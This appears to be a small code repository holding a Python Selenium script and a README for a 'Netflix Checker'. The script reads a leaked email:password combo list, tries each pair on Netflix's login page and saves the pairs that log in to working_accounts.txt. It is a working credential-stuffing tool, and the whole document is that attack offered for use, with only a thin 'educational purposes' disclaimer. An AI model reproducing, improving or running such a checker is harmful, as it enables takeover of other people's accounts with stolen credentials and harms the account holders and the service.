├── NetflixChecker.py ├── README.md └── chromedriver.exe /NetflixChecker.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, Style, init 2 | import os 3 | import time 4 | 5 | import selenium 6 | from selenium import webdriver 7 | from selenium.common.exceptions import TimeoutException 8 | from selenium.common.exceptions import NoSuchElementException 9 | from selenium.webdriver.common.keys import Keys 10 | init(convert=True) 11 | 12 | print(f'''{Fore.RED} 13 | Loading.. Netflix Checker ~coded by Nightfall#2512~ 14 | ''') 15 | 16 | options = webdriver.ChromeOptions() 17 | options.add_experimental_option("excludeSwitches", ["enable-logging"]) 18 | driver = webdriver.Chrome(options=options, executable_path=r"chromedriver.exe") 19 | os.system('cls') 20 | 21 | print(f'''{Fore.RED} 22 | _ _ _ __ _ _ 23 | | | | (_)/ _| | | | | 24 | _ __ ___| |_| |_| |___ __ ___| |__ ___ ___| | _____ _ __ 25 | | '_ \ / _ \ __| | | _\ \/ / / __| '_ \ / _ \/ __| |/ / _ \ '__| 26 | | | | | __/ |_| | | | > < | (__| | | | __/ (__| < __/ | 27 | |_| |_|\___|\__|_|_|_| /_/\_\ \___|_| |_|\___|\___|_|\_\___|_| 28 | 29 | 30 | ''') 31 | 32 | 33 | combination = [] 34 | email_list = [] 35 | password_list = [] 36 | working = [] 37 | txtFile = input(f"{Style.RESET_ALL}Name of txt file (Must be in the same directory. example format: filename.txt): {Fore.RED}") 38 | print(f"Starting process.\n\n{Style.RESET_ALL}") 39 | 40 | with open(txtFile,"r") as combolist: 41 | for line in combolist: 42 | splitLine = line.split(":") 43 | combination.append(line.strip()) 44 | email_list.append(splitLine[0]) 45 | password_list.append(splitLine[1].strip()) 46 | 47 | 48 | def checker(email,password): 49 | #make sure ur in the login page 50 | try: 51 | site = "https://netflix.com/Login" 52 | driver.get(site) #Load the website 53 | time.sleep(7) 54 | print('[*] validating email lol') 55 | driver.find_element_by_xpath('//*[@id="id_userLoginId"]').send_keys(email) 56 | time.sleep(1) 57 | print('[*] checking passsword') 58 | driver.find_element_by_xpath('//*[@id="id_password"]').send_keys(password) 59 | time.sleep(2) 60 | print('[*] checking email and password') 61 | driver.find_element_by_xpath('//*[@id="appMountPoint"]/div/div[3]/div/div/div[1]/form/button').click() 62 | print('[*] finished') 63 | except: 64 | print(f'{Style.RESET_ALL}[*]error wtf ') 65 | 66 | def isLoggedIn(): 67 | try: 68 | driver.find_element_by_xpath('//*[@id="appMountPoint"]/div/div[3]/div/div/div[1]/form/button').click() 69 | print('[!!] No account found!\n\n') 70 | except: 71 | print("You ARE ALREADY LOGGED IN !") 72 | return True 73 | return False 74 | def bruteforce(email_list,password_list): 75 | global working 76 | global driver 77 | for email,password in zip(email_list,password_list): 78 | print(f"[!!] Checking email: {email}") 79 | print(f"[!!] Checking password: {password}") 80 | checker(email,password) 81 | time.sleep(3) 82 | if isLoggedIn(): 83 | print(f"\n{Style.RESET_ALL} ____________________________________________\n") 84 | print(f"[!!] {Fore.GREEN}ACCOUNT FOUND:{Style.RESET_ALL} {email}") 85 | print(f" ____________________________________________\n") 86 | working.append(email + ':' + password) 87 | with open("working_accounts.txt","w") as txtFile: 88 | print('[*] Appending to working_accounts.txt\n') 89 | for wo in working: 90 | txtFile.write(wo) 91 | txtFile.write("\n") 92 | driver.quit() 93 | driver = webdriver.Chrome(options=options, executable_path=r"chromedriver.exe") 94 | return working 95 | 96 | if __name__ == '__main__': 97 | bruteforce(email_list,password_list) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NetflixChecker 2 | a Netflix Checker made with Selenium 3 | 4 | 5 | ## About 6 | 7 | This is a script I made to demonstrate how you can log-in into Netflix with multiple accounts from a text file. 8 | 9 | This tool should be used for EDUCATIONAL PURPOSES only. 10 | 11 | ## Picture 12 | ![Picture](https://i.postimg.cc/SKsp738V/netflix.png) 13 | 14 | 15 | ## How to use 16 | 17 | Download the [chromedriver.exe](https://chromedriver.chromium.org/downloads) that corrosponds with your Chrome browser version. 18 | 19 | ``` 20 | pip install selenium 21 | ``` 22 | -------------------------------------------------------------------------------- /chromedriver.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NightfallGT/Netflix-Checker/dc7d33cdf2a63e2860efa8f045eb169ee352d943/chromedriver.exe --------------------------------------------------------------------------------